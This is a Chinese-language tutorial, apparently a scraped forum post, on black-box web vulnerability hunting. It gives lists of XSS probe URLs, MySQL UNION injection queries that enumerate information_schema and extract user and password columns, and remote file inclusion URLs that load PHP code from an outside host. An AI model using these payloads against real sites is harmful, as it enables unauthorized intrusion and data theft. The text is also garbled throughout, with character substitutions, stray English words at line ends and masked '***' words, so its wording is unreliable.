做者:7all (sgh81_at_163.com)php
WEB漏洞挖掘技术html
|=---------------=[ WEB漏洞挖掘技术 ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ bbs.cciss.cn ]=--------------------------------=|mysql
--]前言
漏洞挖掘技术一直是网络***者最感兴趣的问题,漏洞挖掘的范围也在随着技术的
提高而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都
是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.
在针对ELF文件 PE文件(*.exe与*.dll)的漏洞挖掘过程当中,出现了不少的漏洞挖掘
技术,可是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)
源代码审计等办法.经过RATS等源代码审计软件能够找到部分源代码级别的漏洞信息,
可是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,
因此经过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而
针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外
的一些进行漏洞挖掘的办法已经慢慢的提高为本身写黑盒子测试代码,而后针对系统或
软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的不少漏洞都是经过
fuzzing技术找到的,fuzzing即模糊测试的意思,你们能够理解为相似SQL盲注入类型的
***技术.
网络安全的界限在不断的提高,目前缓冲区溢出漏洞已经如MS SQL注入般的被不少人
堵死,而在进行网络******的过程当中,不少人***成功的着力点都是经过WEB开始的,
固然有些人是经过MS SQL注入,有些人经过其它的WEB漏洞技术一步步的走到了***成功
的步骤.咱们下面将会讨论一些WEB漏洞挖掘的简单技术,经过这些简单技术的规则,而后
配合经验的提升,你们或许会获得意想不到的效果.web
--]WEB漏洞的分类
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现经过浏览器执行任意SQL语句,从而
实现最终获取某种权限的***技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即
数据库的基础数据.例如咱们能够经过database() version()来得到数据库的名称及版本,
而咱们经过SQL内置函数得到的这些内容都属于数据库元数据的内容.理解了元数据的概念,
在后面的章节我会给你们简单的讲解下经过元数据来获取MySQL的数据表.sql
B: 文件包含类型,如PHP的的远程 本地文件包含漏洞
文件包含漏洞是PHP程序特有的一个弱点***,原理就是在使用include时没有安全的编程,
而可以找到文件包含漏洞则是***一个WEB系统的很重要的因素,有了文件包含漏洞则能够
很快速的达到上传WEBSHELL,而后本地提高权限的做用.shell
C: XSS
XSS漏洞是被不少人遗忘的漏洞,可是XSS也是一个比较危险的安全隐患,我看到不少国内介绍
XSS漏洞的文章大部分在如何欺骗管理员得到后台登录账户或者管理员的cookies文件.但这些
仅仅是XSS漏洞的简单用法,若是寻找到的XSS漏洞能够任意执行任何的Javascript脚本,那安全
性也是不容忽视的.经过Javascript脚本其实也能够作一些恶意的***,甚至能够得到一些WEB
程序的源代码,固然这个要看你们对Javascript脚本的熟悉程度.例如咱们这几天公布的这个可
跨站执行任意Javascript脚本的漏洞,最后我也经过这个漏洞给客户演示了如何获取他们的服务
器信息,并最终实现获得其必定权限的方法.
同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,固然仅仅研究这
两个技术也是很值得你们去深刻的进行漏洞挖掘的.数据库
--]WEB漏洞挖掘规则
我想给你们事先说明下,该文档的全部内容都为黑盒子测试的范围,也即便用这些漏洞挖掘规则,
你们仅仅须要一个WEB浏览器,如IE Firefox等便可,也无需读取WEB程序的源代码,只要某个规则
符合了漏洞规则的要求,你们便可以采起相关的漏洞***技术进行相应的漏洞***办法:)
再次的罗嗦一下,在本文档我没有实际的例子给你们,可是不少漏洞挖掘的规则都是一些经验的
积累,并且不少可能在实际进行漏洞挖掘时须要与实际状况进行分析处理,例如:
http://website/index1.php?id=<script>alert("111")</script>,若是对方的代码过滤了"双引号
那么能够经过http://website/index1.php?id=<script>alert('111')</script>,采用'单引号测试
若单引号也过滤呢?OK,咱们这样来测试http://website/index1.php?id=<script>alert(111)</script>
使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有不少的问题,例如:
经过构造HTML语句来实现XSS漏洞的挖掘等等.编程
A: XSS的漏洞挖掘规则浏览器
http://website/index1.php?id=<script>alert("111")</script>安全
http://website/index1.php?id=<script>alert('111')</script>
http://website/index1.php?id=<script>alert(111)</script>
http://website/index1.php?id=<body+onload=alert("1111")>
http://website/index1.php?id=<body+onload=alert('1111')>
http://website/index1.php?id=<body+onload=alert(1111)>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)>
http://website/index1.php?id=<"
http://website/index1.php?id=<'
http://website/index1.php?id=<
http://website/index1.php?id=<!--
http://website/index1.php?id=-->
http://website/index1.php?id=<!-- -->
使用上面的这些简单漏洞规则,若是模糊测试一些站点的话,是能够找到一些XSS漏洞的,固然这些
不是所有的XSS漏洞规则,可是我以为这些规则比较经典些:)我测试一些站点的时候,使用这些
规则基本上能够找到一些XSS漏洞.
B: SQL Injection
如今,MSSQL的注入技术已经变的很简单,下面的内容咱们针对mysql的注入和你们一块儿讨论下
相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较
强的工具,目前书写一款功能较强的MySQL注入检测工具也基本归入了2007年的计划内.
下面会针对各类规则,而后对这些规则进行简单的说明,不少规则我相信你们都用过的,不对
的地方但愿你们给予指针.
下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql
5的环境下:)
http://website/index1.php?id=1'
http://website/index1.php?id=1 and 1=1
http://website/index1.php?id=1 and 1=2
http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜想到为止
下面的语句来获取mysql的一些信息,这里咱们假设咱们使用order by语句判断出的列数为4
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4
http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4
http://website/index1.php?id=1 and 1=1 union select 1/*
http://website/index1.php?id=1 and 1=1 union select version()/*
http://website/index1.php?id=1 and 1=1 union select databse()/*
猜想表名:
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2
//where 1=2 不打印猜想表的内容
这里的猜想就须要你们多靠经验了,如admin user articles news等等,并且必须在指定select
的字段个数再使用,不然mysql会报错.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //若是执行这条语句是可行的,那么恭喜你们能够
获得更多的数据库信息了:)
上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,固然前提是系统
管理员没有禁止mysql普通用户对元数据库的表查询,若是禁止了则该办法是无效的.
在开始分析mysql数据库到底能够执行到那种程度的注入状况下,我花了一天的时间分析了mysql的
系统架构,最终发现经过information_schema数据库提供给mysql用户的元数据能够获得一些mysql
数据库的基本信息,例如获得数据库的各个表信息等,还能够获得数据库的权限设置等信息,下面的
内容属于临时增长的一个章节,咱们一块儿来讨论下information_schema数据库的一些咱们用到的表
的具体字段究竟是干什么的:)
1: KEY_COLUMN_USAGE表
constraint_schema: 存放数据库名
table_schema: 存放数据库名
table_name: 存放数据库表信息
column_name: 存放数据库的字段信息,通常能够获取第一个字段或者自增字段的信息
2: SCHEMA表
schema_name: 存放数据库名
default_charater_set_name: 存放charset类型
default_collation_name: 存放charset相关信息
3: SCHEMA_PRIVILEGES表
grantee: 存放数据库用户名
table_schema: 表名
privilege_type: 权限
4: STATISTICS表
table_schema: 存放数据库名
table_name: 存放表名
index_schema: 数据库名
index_name: 是否缩引?
column_name: 存放索引自增字段?
5: TABLES表
table_schema: 存放数据库名
table_name: 存放表名
table_type: 表类型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行数
auto_increment: 自增的总行数
create_time: 建立表的时间
update_time: 更新表的时间
create_options: 建立表时的约束条件
...
有了这些之后,若是对方系统管理员忽略了这些,则能够达到咱们不须要猜想表名而
直接获取数据库表名的结果.我在本地测试时一切OK:)
猜想列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照这个规则依次类推,若是咱们猜想到user表存在username字段,则程序执行是正常的,不然程序会
出错,也可使用where 1=1来打印表的信息,经过这样的办法就能够获取mysql数据库的某些关键表
的字段信息,如:admin与password:)
C: 文件包含漏洞
文件包含漏洞的测试,有如下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式
而后咱们测试时只须要采起下面简单的办法便可,这里咱们假设咱们下面的文件URL为:
http://bbs.cciss.cn/include.txt
http://bbs.cciss.cn/include
漏洞规则:
http://website/file.php?inc=http://bbs.cciss.cn/include.txt
http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
http://website/file.php?inc=http://bbs.cciss.cn/include?
http://website/file.php?inc=http://bbs.cciss.cn/include
使用上面的简单规则便可实现文件包含漏洞的测试,固然得根据具体的返回信息来判断.
例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)
若是咱们知道PHP的某个函数存在缓冲区溢出,咱们假设这个PHP的内置函数为phphtml(char *str),
那么咱们如何利用这样的漏洞呢?
咱们假设http://website/file.php?inc=test,这里的参数inc通过PHP代码时使用了phphtml内置
函数,则可使用下面的办法来触发漏洞
http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
固然相似这样的漏洞是须要写程序来自动运行的,而后来触发溢出并执行shellcode.
但这里也存在一个问题,即通常状况下,相似PHP自己的溢出漏洞的利用是有些难度存在的.
--] 总结 针对WEB漏洞的挖掘,规则有N多,其中还有不少变种的规则.这里说的基本上是一些能够简单采起 手工办法测试的规则,更多的规则是依靠经验不断积累所致:) 本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,因此才想到提交下, 但愿对你们有所帮助.